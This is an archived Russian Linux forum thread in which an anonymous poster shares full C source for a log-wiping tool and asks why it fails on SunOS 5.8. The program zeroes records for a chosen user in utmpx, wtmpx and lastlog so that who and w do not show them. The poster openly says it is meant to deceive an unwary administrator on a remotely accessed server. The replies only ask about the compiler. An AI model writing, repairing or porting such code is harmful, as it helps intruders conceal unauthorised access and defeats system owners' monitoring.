LINUX.ORG.RU

Помогите с прогой на Си под СанОС


0

0

Hi! Вот такая есть прога:
--------------------------------------------------------------------------------
---------------------------------------------
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/var/adm/wtmpx"
#define UTMP_NAME "/var/adm/utmpx"
#define LASTLOG_NAME "/var/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),SEEK_END);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),SEEK_END);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("Djatel! Net uzera: %s v lastlog !!!\n",who);
}
 
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Vse pu4kom ;))\n");
    } else
    printf("Ebanat! Pravil\'no pisat\' nado!\n");
}
--------------------------------------------------------------------------------
---------------------------------------------

Она должна стирать записи о некотором юзере, что б его небыло видно по who,w,uptime и т.д.  
(расчитанно на лоха-админа, который не знает что такое, например, netstat). У меня, под Линухом 
RH 6.1, эта прога работает как надо. А вот под СанОС 5.8 нифига она не работает. Иногда висит 
тупо на while, а иногда просто ничего не делает.
Может знает кто в чем дело? Я б и сам разобрался, да вот только доступ к той тачке у меня 
удаленный, да и манов нет там. Памажыте плз.
Заранее благодарю.
anonymous

1)А ты какой компилер юзаешь под Сан?
2) Нахер тебе этот СанОС?

anonymous
()

Да gcc я юзаю. А Сан на серваке стоит.

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.